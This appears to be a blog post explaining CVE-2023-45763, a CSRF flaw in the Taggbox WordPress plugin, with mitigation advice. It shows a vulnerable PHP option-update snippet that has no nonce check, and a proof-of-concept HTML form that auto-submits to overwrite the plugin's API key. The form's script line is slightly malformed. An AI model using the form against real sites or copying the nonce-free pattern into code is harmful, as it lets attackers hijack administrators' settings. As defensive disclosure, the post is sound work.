Taggbox is a popular WordPress plugin for embedding social media feeds on websites. It helps marketers and site owners share social proof by showcasing real-time posts from platforms like Instagram, Twitter, or Facebook. But what happens when a vulnerability puts all of your data and settings at risk? That’s exactly what happened with Taggbox versions 2.9 and below due to a Cross-Site Request Forgery (CSRF) bug—now officially tracked as CVE-2023-45763.

In this post, I'll cover what this vulnerability is, how it can be exploited, show you a code snippet of a potential exploit, and tell you what you should do about it. I’ll keep things simple and straightforward so even if you’re not a security pro, you can understand and protect yourself.

What is CVE-2023-45763?

CVE-2023-45763 refers to a Cross-Site Request Forgery (CSRF) vulnerability in Taggbox plugin versions ≤ 2.9.

CSRF lets an attacker trick an authenticated user (like an admin) into submitting unwanted actions on a web app—even though the request comes from a trusted user's browser. In Taggbox’s case, it means a hacker can change plugin settings or perform other actions just by getting an admin to visit a malicious web page.

The Real Danger

If you are logged in as an admin to your WordPress admin area, and you visit a malicious page (say, a link in a phishing email), the attacker can launch requests disguised as you to the Taggbox endpoints. As a result, your Taggbox settings can be changed, social feeds tampered with, or API keys exposed.

How Does The Exploit Work?

At the core, the problem is missing CSRF protections (like nonces) in Taggbox's plugin code. If you look into vulnerable versions, you find requests that alter plugin options, but don’t check the source or use anti-CSRF tokens.

Here’s a typical example of an exposed admin POST endpoint in the plugin’s PHP

if(isset($_POST['taggbox_api_key'])) {
  update_option('taggbox_api_key', sanitize_text_field($_POST['taggbox_api_key']));
}

There’s no check for WordPress nonces (check_admin_referer) here. That means any POST request—even ones coming cross-origin—are accepted if the admin is logged in.

Example Exploit: Crafting a Malicious Request

An attacker only needs to lure a logged-in admin to a site they control. Here's a simple HTML form they could use:

<form method="POST" action="https://victim-site.com/wp-admin/admin.php?page=taggbox-settings">;
  <input type="hidden" name="taggbox_api_key" value="hacked-api-key" />
  <input type="submit" value="Click me!" />
</form>
<script>document.forms[].submit();</script>

If an admin stumbles onto this page, the browser submits the form automatically, sending the attacker's API key into the admin panel, replacing the original. The bad actor could then hijack your Taggbox feed!

The developers have fixed this in newer versions. Always keep plugins up to date.


👉 Taggbox WordPress Plugin
👉 Changelog / Fix Reference

Always wrap setting changes in nonce checks like this

if(check_admin_referer('taggbox_settings_save')) {

// Safe to update options
}

Never stay logged in as admin while browsing other sites.

- Install security plugins like Wordfence to add extra protection.

References & Further Reading

- CVE-2023-45763 Record at NVD
- WPScan Advisory DB Entry
- OWASP CSRF Explainers
- WordPress Nonces Handbook

Conclusion

CVE-2023-45763 is a classic example of why CSRF protections are critical, especially on widely used WordPress plugins. Always apply updates, know your risks, and keep nonces in place. If you’re running Taggbox ≤ 2.9, update NOW or risk losing control of what’s displayed on your site.

Have questions or need help securing your WordPress plugins? Drop a comment or reach out—better safe than sorry!

Timeline

Published on: 10/16/2023 11:15:45 UTC
Last modified on: 10/19/2023 14:19:30 UTC